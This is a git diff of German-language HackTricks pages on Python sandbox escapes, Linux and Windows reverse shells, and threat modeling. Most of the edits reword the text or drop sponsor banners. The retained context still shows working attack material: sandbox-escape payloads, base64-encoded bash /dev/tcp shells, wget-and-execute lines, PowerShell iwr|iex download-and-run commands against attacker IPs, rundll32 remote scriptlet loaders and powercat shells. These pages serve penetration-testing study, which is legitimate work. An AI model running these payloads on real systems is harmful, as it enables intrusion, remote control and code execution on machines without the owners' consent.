+Wenn du nach Leaks in einem Repo suchst und etwas wie `git log -p` ausführst, vergiss nicht, dass es **andere Branches mit anderen Commits** geben könnte, die Geheimnisse enthalten! {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -Lernen & üben Sie AWS-Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP-Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstützen Sie HackTricks +Unterstütze HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) Github-Repositories einreichen. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} diff --git a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md index 02544fce5..efdcbdfce 100644 --- a/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md +++ b/generic-methodologies-and-resources/python/bypass-python-sandboxes/README.md @@ -1,33 +1,25 @@ # Bypass Python sandboxes {% hint style="success" %} -Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
Support HackTricks -* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden. +* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst.
{% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - Dies sind einige Tricks, um die Python-Sandbox-Schutzmaßnahmen zu umgehen und beliebige Befehle auszuführen. -## Befehlsausführungsbibliotheken +## Bibliotheken zur Befehlsausführung -Das erste, was Sie wissen müssen, ist, ob Sie Code direkt mit einer bereits importierten Bibliothek ausführen können oder ob Sie eine dieser Bibliotheken importieren könnten: +Das erste, was du wissen musst, ist, ob du Code direkt mit einer bereits importierten Bibliothek ausführen kannst oder ob du eine dieser Bibliotheken importieren könntest: ```python os.system("ls") os.popen("ls").read() @@ -66,7 +58,7 @@ Denke daran, dass die _**open**_ und _**read**_ Funktionen nützlich sein könne Die **Python2 input()** Funktion ermöglicht das Ausführen von Python-Code, bevor das Programm abstürzt. {% endhint %} -Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** (der folgende Befehl zeigt an, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'` +Python versucht, **zuerst Bibliotheken aus dem aktuellen Verzeichnis zu laden** (der folgende Befehl zeigt an, wo Python Module lädt): `python3 -c 'import sys; print(sys.path)'` ![](<../../../.gitbook/assets/image (559).png>) @@ -75,7 +67,7 @@ Python versucht, **Bibliotheken zuerst aus dem aktuellen Verzeichnis zu laden** ### Standardpakete Hier findest du eine **Liste der vorinstallierten** Pakete: [https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html](https://docs.qubole.com/en/latest/user-guide/package-management/pkgmgmt-preinstalled-packages.html)\ -Beachte, dass du aus einem Pickle die Python-Umgebung dazu bringen kannst, **willkürliche Bibliotheken** zu importieren, die im System installiert sind.\ +Beachte, dass du aus einem Pickle die Python-Umgebung **beliebige Bibliotheken** importieren kannst, die im System installiert sind.\ Zum Beispiel wird der folgende Pickle, wenn er geladen wird, die Pip-Bibliothek importieren, um sie zu verwenden: ```python #Note that here we are importing the pip library so the pickle is created correctly @@ -114,7 +106,7 @@ Dieses Paket heißt `Reverse`. Es wurde jedoch speziell so gestaltet, dass, wenn Beachten Sie, dass exec mehrzeilige Strings und ";" erlaubt, eval jedoch nicht (überprüfen Sie den Walross-Operator). {% endhint %} -Wenn bestimmte Zeichen verboten sind, können Sie die **Hex-/Oktal-/B64**-Darstellung verwenden, um die Einschränkung zu **umgehen**: +Wenn bestimmte Zeichen verboten sind, können Sie die **Hex-/Oktal/B64**-Darstellung verwenden, um die Einschränkung zu **umgehen**: ```python exec("print('RCE'); __import__('os').system('ls')") #Using ";" exec("print('RCE')\n__import__('os').system('ls')") #Using "\n" @@ -175,7 +167,7 @@ Es ist auch möglich, es mit anderen Kodierungen zu umgehen, z.B. `raw_unicode_e ## Python-Ausführung ohne Aufrufe -Wenn Sie sich in einem Python-Gefängnis befinden, das **keine Aufrufe zulässt**, gibt es dennoch einige Möglichkeiten, **willkürliche Funktionen, Code** und **Befehle** auszuführen. +Wenn Sie sich in einem Python-Gefängnis befinden, das **keine Aufrufe zulässt**, gibt es dennoch einige Möglichkeiten, **willkürliche Funktionen, Code** und **Befehle** **auszuführen**. ### RCE mit [Dekoratoren](https://docs.python.org/3/glossary.html#term-decorator) ```python @@ -316,7 +308,7 @@ __iadd__ = eval __builtins__.__import__ = X {}[1337] ``` -### Datei mit builtins Hilfe & Lizenz lesen +### Datei mit Builtins Hilfe & Lizenz lesen ```python __builtins__.__dict__["license"]._Printer__filenames=["flag"] a = __builtins__.help @@ -330,7 +322,7 @@ pass * [**Builtins-Funktionen von python2**](https://docs.python.org/2/library/functions.html) * [**Builtins-Funktionen von python3**](https://docs.python.org/3/library/functions.html) -Wenn Sie auf das **`__builtins__`**-Objekt zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch eine andere Zeichenfolgenrepräsentation verwenden könnten, die im letzten Abschnitt gezeigt wurde): +Wenn Sie auf das **`__builtins__`** Objekt zugreifen können, können Sie Bibliotheken importieren (beachten Sie, dass Sie hier auch eine andere Zeichenfolgenrepräsentation verwenden könnten, die im letzten Abschnitt gezeigt wurde): ```python __builtins__.__import__("os").system("ls") __builtins__.__dict__['__import__']("os").system("ls") @@ -340,7 +332,7 @@ __builtins__.__dict__['__import__']("os").system("ls") Wenn Sie `__builtins__` nicht haben, können Sie nichts importieren und auch keine Dateien lesen oder schreiben, da **alle globalen Funktionen** (wie `open`, `import`, `print`...) **nicht geladen sind**.\ Allerdings **importiert Python standardmäßig viele Module in den Speicher**. Diese Module mögen harmlos erscheinen, aber einige von ihnen **importieren auch gefährliche** Funktionalitäten, die genutzt werden können, um sogar **willkürliche Codeausführung** zu erlangen. -In den folgenden Beispielen können Sie beobachten, wie man einige dieser "**harmlosen**" Module ausnutzen kann, um **auf** **gefährliche** **Funktionalitäten** in ihnen zuzugreifen. +In den folgenden Beispielen können Sie beobachten, wie man einige dieser "**harmlosen**" Module ausnutzen kann, um **gefährliche** **Funktionalitäten** in ihnen **zuzugreifen**. **Python2** ```python @@ -525,7 +517,7 @@ builtins: FileLoader, _NamespacePath, _NamespaceLoader, FileFinder, IncrementalE pdb: """ ``` -Darüber hinaus, wenn Sie denken, dass **andere Bibliotheken** möglicherweise **Funktionen aufrufen können, um Befehle auszuführen**, können wir auch **nach Funktionsnamen** innerhalb der möglichen Bibliotheken **filtern**: +Außerdem, wenn Sie denken, dass **andere Bibliotheken** möglicherweise **Funktionen aufrufen können, um Befehle auszuführen**, können wir auch **nach Funktionsnamen** innerhalb der möglichen Bibliotheken **filtern**: ```python bad_libraries_names = ["os", "commands", "subprocess", "pty", "importlib", "imp", "sys", "builtins", "pip", "pdb"] bad_func_names = ["system", "popen", "getstatusoutput", "getoutput", "call", "Popen", "spawn", "import_module", "__import__", "load_source", "execfile", "execute", "__builtins__"] @@ -686,11 +678,11 @@ You can check the output of this script on this page: ## Python Format String -Wenn Sie eine **Zeichenkette** an Python **senden**, die **formatiert** werden soll, können Sie `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Sie können die vorherigen Beispiele verwenden, um beispielsweise auf Globals oder Builtins zuzugreifen. +Wenn Sie eine **Zeichenkette** an Python **senden**, die **formatiert** werden soll, können Sie `{}` verwenden, um auf **interne Informationen von Python** zuzugreifen. Sie können die vorherigen Beispiele verwenden, um auf Globals oder Builtins zuzugreifen. {% hint style="info" %} Es gibt jedoch eine **Einschränkung**, Sie können nur die Symbole `.[]` verwenden, sodass Sie **keinen beliebigen Code ausführen können**, sondern nur Informationen lesen.\ -_**Wenn Sie wissen, wie man durch diese Schwachstelle Code ausführt, kontaktieren Sie mich bitte.**_ +_**Wenn Sie wissen, wie man über diese Schwachstelle Code ausführt, kontaktieren Sie mich bitte.**_ {% endhint %} ```python # Example from https://www.geeksforgeeks.org/vulnerability-in-str-format-in-python/ @@ -720,7 +712,7 @@ Einige andere interessante Eigenschaften von Format-Strings sind die Möglichkei st = "{people_obj.__init__.__globals__[CONFIG][KEY]!a}" get_name_for_avatar(st, people_obj = people) ``` -Darüber hinaus ist es möglich, **neue Formatter** in Klassen zu **codieren**: +Darüber hinaus ist es möglich, **neue Formatter** in Klassen zu codieren: ```python class HAL9000(object): def __format__(self, format): @@ -760,7 +752,7 @@ Wenn Sie mehr über **python bytecode** erfahren möchten, lesen Sie diesen **to In einigen CTFs könnte Ihnen der Name einer **benutzerdefinierten Funktion, in der sich das Flag** befindet, bereitgestellt werden, und Sie müssen die **Interna** der **Funktion** einsehen, um es zu extrahieren. -Dies ist die Funktion, die untersucht werden soll: +Dies ist die Funktion, die Sie inspizieren sollten: ```python def get_flag(some_input): var1=1 @@ -807,7 +799,7 @@ compile("print(5)", "", "single") dir(get_flag.__code__) ['__class__', '__cmp__', '__delattr__', '__doc__', '__eq__', '__format__', '__ge__', '__getattribute__', '__gt__', '__hash__', '__init__', '__le__', '__lt__', '__ne__', '__new__', '__reduce__', '__reduce_ex__', '__repr__', '__setattr__', '__sizeof__', '__str__', '__subclasshook__', 'co_argcount', 'co_cellvars', 'co_code', 'co_consts', 'co_filename', 'co_firstlineno', 'co_flags', 'co_freevars', 'co_lnotab', 'co_name', 'co_names', 'co_nlocals', 'co_stacksize', 'co_varnames'] ``` -### Informationen zum Code abrufen +### Code-Information abrufen ```python # Another example s = ''' @@ -906,7 +898,7 @@ dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x0 ## Compiling Python Jetzt stellen wir uns vor, dass Sie irgendwie **die Informationen über eine Funktion, die Sie nicht ausführen können, dumpen** können, aber Sie **müssen** sie **ausführen**.\ -Wie im folgenden Beispiel, Sie **können auf das Code-Objekt** dieser Funktion zugreifen, aber nur durch das Lesen des Disassemblierens **wissen Sie nicht, wie man das Flag berechnet** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_) +Wie im folgenden Beispiel, Sie **können auf das Code-Objekt** dieser Funktion zugreifen, aber nur durch das Lesen des Disassemblies **wissen Sie nicht, wie man das Flag berechnet** (_stellen Sie sich eine komplexere `calc_flag`-Funktion vor_) ```python def get_flag(some_input): var1=1 @@ -921,7 +913,7 @@ return "Nope" ``` ### Erstellen des Code-Objekts -Zuerst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion zu leaken: +Zunächst müssen wir wissen, **wie man ein Code-Objekt erstellt und ausführt**, damit wir eines erstellen können, um unsere Funktion zu exécutieren: ```python code_type = type((lambda: None).__code__) # Check the following hint if you get an error in calling this @@ -952,7 +944,7 @@ types.CodeType.__doc__ ### Wiederherstellung einer geleakten Funktion {% hint style="warning" %} -Im folgenden Beispiel werden wir alle Daten, die benötigt werden, um die Funktion direkt aus dem Funktionscodeobjekt wiederherzustellen, entnehmen. In einem **realen Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **du geleakt** haben musst. +Im folgenden Beispiel werden wir alle Daten, die benötigt werden, um die Funktion direkt aus dem Funktionscodeobjekt wiederherzustellen, verwenden. In einem **echten Beispiel** sind alle **Werte**, um die Funktion **`code_type`** auszuführen, das, was **du geleakt** haben musst. {% endhint %} ```python fc = get_flag.__code__ @@ -1018,7 +1010,7 @@ Mit Tools wie [**https://www.decompiler.com/**](https://www.decompiler.com) kann ### Assert -Python, das mit Optimierungen mit dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeden Code, der von dem Wert von **debug** abhängt.\ +Python, das mit Optimierungen mit dem Parameter `-O` ausgeführt wird, entfernt Assert-Anweisungen und jeden Code, der vom Wert von **debug** abhängt.\ Daher sind Überprüfungen wie ```python def check_permission(super_user): @@ -1039,23 +1031,18 @@ wird umgangen * [https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html](https://nedbatchelder.com/blog/201206/eval\_really\_is\_dangerous.html) * [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstütze HackTricks +Unterstützen Sie HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} diff --git a/generic-methodologies-and-resources/reverse-shells/linux.md b/generic-methodologies-and-resources/reverse-shells/linux.md index f028be5d5..5f759472e 100644 --- a/generic-methodologies-and-resources/reverse-shells/linux.md +++ b/generic-methodologies-and-resources/reverse-shells/linux.md @@ -15,19 +15,11 @@ Lerne & übe GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - -**Wenn du Fragen zu einer dieser Shells hast, kannst du sie bei** [**https://explainshell.com/**](https://explainshell.com) **überprüfen.** +**Wenn du Fragen zu einer dieser Shells hast, kannst du sie auf** [**https://explainshell.com/**](https://explainshell.com) **überprüfen.** ## Vollständiges TTY -**Sobald du eine Reverse-Shell erhältst**[ **lies diese Seite, um ein vollständiges TTY zu erhalten**](full-ttys.md)**.** +**Sobald du eine Reverse-Shell erhältst,** [**lies diese Seite, um ein vollständiges TTY zu erhalten**](full-ttys.md)**.** ## Bash | sh ```bash @@ -56,10 +48,10 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc #### Shell-Erklärung 1. **`bash -i`**: Dieser Teil des Befehls startet eine interaktive (`-i`) Bash-Shell. -2. **`>&`**: Dieser Teil des Befehls ist eine Kurznotation für **das Umleiten von sowohl Standardausgabe** (`stdout`) als auch **Standardfehler** (`stderr`) zu **dem gleichen Ziel**. +2. **`>&`**: Dieser Teil des Befehls ist eine Kurznotation für **das Umleiten von sowohl Standardausgabe** (`stdout`) als auch **Standardfehler** (`stderr`) an **das gleiche Ziel**. 3. **`/dev/tcp//`**: Dies ist eine spezielle Datei, die **eine TCP-Verbindung zur angegebenen IP-Adresse und dem Port** darstellt. * Durch **das Umleiten der Ausgabe- und Fehlerströme zu dieser Datei** sendet der Befehl effektiv die Ausgabe der interaktiven Shell-Sitzung an die Maschine des Angreifers. -4. **`0>&1`**: Dieser Teil des Befehls **leitet die Standardeingabe (`stdin`) zum gleichen Ziel wie die Standardausgabe (`stdout`) um**. +4. **`0>&1`**: Dieser Teil des Befehls **leitet die Standardeingabe (`stdin`) an das gleiche Ziel wie die Standardausgabe (`stdout`) um**. ### In Datei erstellen und ausführen ```bash @@ -68,7 +60,7 @@ wget http:///shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s ``` ## Forward Shell -Wenn man mit einer **Remote Code Execution (RCE)**-Schwachstelle in einer Linux-basierten Webanwendung umgeht, kann das Erreichen einer Reverse Shell durch Netzwerkverteidigungen wie iptables-Regeln oder komplexe Paketfiltermechanismen behindert werden. In solchen eingeschränkten Umgebungen besteht ein alternativer Ansatz darin, eine PTY (Pseudo Terminal)-Shell einzurichten, um effektiver mit dem kompromittierten System zu interagieren. +Wenn man es mit einer **Remote Code Execution (RCE)**-Schwachstelle in einer Linux-basierten Webanwendung zu tun hat, kann das Erreichen einer Reverse Shell durch Netzwerkverteidigungen wie iptables-Regeln oder komplexe Paketfiltermechanismen behindert werden. In solchen eingeschränkten Umgebungen besteht ein alternativer Ansatz darin, eine PTY (Pseudo Terminal)-Shell einzurichten, um effektiver mit dem kompromittierten System zu interagieren. Ein empfohlenes Tool für diesen Zweck ist [toboggan](https://github.com/n3rada/toboggan.git), das die Interaktion mit der Zielumgebung vereinfacht. @@ -340,23 +332,17 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new * [https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/](https://tcm1911.github.io/posts/whois-and-finger-reverse-shell/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
-Unterstütze HackTricks +Unterstützen Sie HackTricks -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos sendest. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} diff --git a/generic-methodologies-and-resources/reverse-shells/windows.md b/generic-methodologies-and-resources/reverse-shells/windows.md index 3ba25cd79..94c8d38bb 100644 --- a/generic-methodologies-and-resources/reverse-shells/windows.md +++ b/generic-methodologies-and-resources/reverse-shells/windows.md @@ -6,7 +6,7 @@ Lerne & übe GCP Hacking: -Support HackTricks +Unterstütze HackTricks * Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! * **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** @@ -15,17 +15,9 @@ Lerne & übe GCP Hacking: {% endhint %} -**Try Hard Security Group** - -
- -{% embed url="https://discord.gg/tryhardsecurity" %} - -*** - ## Lolbas -Die Seite [lolbas-project.github.io](https://lolbas-project.github.io/) ist für Windows, wie [https://gtfobins.github.io/](https://gtfobins.github.io/) für Linux ist.\ +Die Seite [lolbas-project.github.io](https://lolbas-project.github.io/) ist für Windows wie [https://gtfobins.github.io/](https://gtfobins.github.io/) für Linux.\ Offensichtlich **gibt es keine SUID-Dateien oder sudo-Rechte in Windows**, aber es ist nützlich zu wissen, **wie** einige **Binaries** (miss)braucht werden können, um eine Art unerwarteter Aktionen wie **die Ausführung beliebigen Codes** durchzuführen. ## NC @@ -198,7 +190,7 @@ rundll32 \\webdavserver\folder\payload.dll,entrypoint ```bash rundll32.exe javascript:"\..\mshtml,RunHTMLApplication";o=GetObject("script:http://webserver/payload.sct");window.close(); ``` -**Von Defender erkannt** +**Von Verteidiger erkannt** **Rundll32 - sct** @@ -403,7 +395,7 @@ Im **Shells**-Ordner gibt es viele verschiedene Shells. Um Invoke-_PowerShellTcp ``` Invoke-PowerShellTcp -Reverse -IPAddress 10.2.0.5 -Port 4444 ``` -Starten Sie das Skript auf einem Webserver und führen Sie es am Ende des Opfers aus: +Starten Sie den Dienst des Skripts auf einem Webserver und führen Sie es am Ende des Opfers aus: ``` powershell -exec bypass -c "iwr('http://10.11.0.134/shell2.ps1')|iex" ``` @@ -419,11 +411,11 @@ Laden Sie es herunter, starten Sie einen Webserver, starten Sie den Listener und ``` powershell -exec bypass -c "iwr('http://10.2.0.5/powercat.ps1')|iex;powercat -c 10.2.0.5 -p 4444 -e cmd" ``` -Defender erkennt es (noch) nicht als bösartigen Code (03.04.2019). +Defender erkennt es (noch) nicht als bösartigen Code (3.04.2019). **Weitere Optionen, die von powercat angeboten werden:** -Bind shells, Reverse shell (TCP, UDP, DNS), Port-Umleitung, hochladen/herunterladen, Payloads generieren, Dateien bereitstellen... +Bind shells, Reverse shell (TCP, UDP, DNS), Port-Umleitung, Hochladen/Herunterladen, Payloads generieren, Dateien bereitstellen... ``` Serve a cmd Shell: powercat -l -p 443 -e cmd @@ -483,24 +475,19 @@ WinPWN](https://github.com/SecureThisShit/WinPwn) PS-Konsole mit einigen offensi * [https://www.hackingarticles.in/koadic-com-command-control-framework/](https://www.hackingarticles.in/koadic-com-command-control-framework/) * [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet.md) * [https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/](https://arno0x0x.wordpress.com/2017/11/20/windows-oneliners-to-download-remote-payload-and-execute-arbitrary-code/) -​ -**Try Hard Security Group** -
- -{% embed url="https://discord.gg/tryhardsecurity" %} {% hint style="success" %} -Lerne & übe AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ -Lerne & übe GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte) +Lernen & üben Sie AWS Hacking:[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)\ +Lernen & üben Sie GCP Hacking: [**HackTricks Training GCP Red Team Expert (GRTE)**](https://training.hacktricks.xyz/courses/grte)
HackTricks unterstützen -* Überprüfe die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! -* **Tritt der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folge** uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** -* **Teile Hacking-Tricks, indem du PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos einreichst. +* Überprüfen Sie die [**Abonnementpläne**](https://github.com/sponsors/carlospolop)! +* **Treten Sie der** 💬 [**Discord-Gruppe**](https://discord.gg/hRep4RUj7f) oder der [**Telegram-Gruppe**](https://t.me/peass) bei oder **folgen** Sie uns auf **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.** +* **Teilen Sie Hacking-Tricks, indem Sie PRs an die** [**HackTricks**](https://github.com/carlospolop/hacktricks) und [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) GitHub-Repos senden.
{% endhint %} diff --git a/generic-methodologies-and-resources/threat-modeling.md b/generic-methodologies-and-resources/threat-modeling.md index d32b4d398..4097e55ec 100644 --- a/generic-methodologies-and-resources/threat-modeling.md +++ b/generic-methodologies-and-resources/threat-modeling.md @@ -1,62 +1,48 @@ # Bedrohungsmodellierung -### [WhiteIntel](https://whiteintel.io) - -
- -[**WhiteIntel**](https://whiteintel.io) ist eine von **Dark Web** angetriebene Suchmaschine, die **kostenlose** Funktionen bietet, um zu überprüfen, ob ein Unternehmen oder seine Kunden von **Stealer-Malware** **kompromittiert** wurden. - -Das Hauptziel von WhiteIntel ist es, Kontoübernahmen und Ransomware-Angriffe zu bekämpfen, die durch informationsstehlende Malware verursacht werden. - -Sie können ihre Website besuchen und ihren Dienst **kostenlos** ausprobieren unter: - -{% embed url="https://whiteintel.io" %} - -*** - ## Bedrohungsmodellierung -Willkommen im umfassenden Leitfaden von HackTricks zur Bedrohungsmodellierung! Machen Sie sich auf eine Erkundung dieses wichtigen Aspekts der Cybersicherheit bereit, bei dem potenzielle Schwachstellen in einem System identifiziert, verstanden und strategisch bekämpft werden. Dieser Leitfaden dient als Schritt-für-Schritt-Anleitung, die mit realen Beispielen, hilfreicher Software und leicht verständlichen Erklärungen gefüllt ist. Ideal für Anfänger und erfahrene Praktiker, die ihre Cybersicherheitsverteidigung stärken möchten. +Willkommen zu HackTricks' umfassendem Leitfaden zur Bedrohungsmodellierung! Beginnen Sie eine Erkundung dieses kritischen Aspekts der Cybersicherheit, bei dem wir potenzielle Schwachstellen in einem System identifizieren, verstehen und Strategien dagegen entwickeln. Dieser Thread dient als Schritt-für-Schritt-Anleitung, die mit realen Beispielen, hilfreicher Software und leicht verständlichen Erklärungen gefüllt ist. Ideal für sowohl Anfänger als auch erfahrene Praktiker, die ihre Cybersicherheitsverteidigung stärken möchten. ### Häufig verwendete Szenarien -1. **Softwareentwicklung**: Im Rahmen des Secure Software Development Life Cycle (SSDLC) hilft die Bedrohungsmodellierung dabei, **potenzielle Schwachstellen in den frühen Entwicklungsstadien zu identifizieren**. -2. 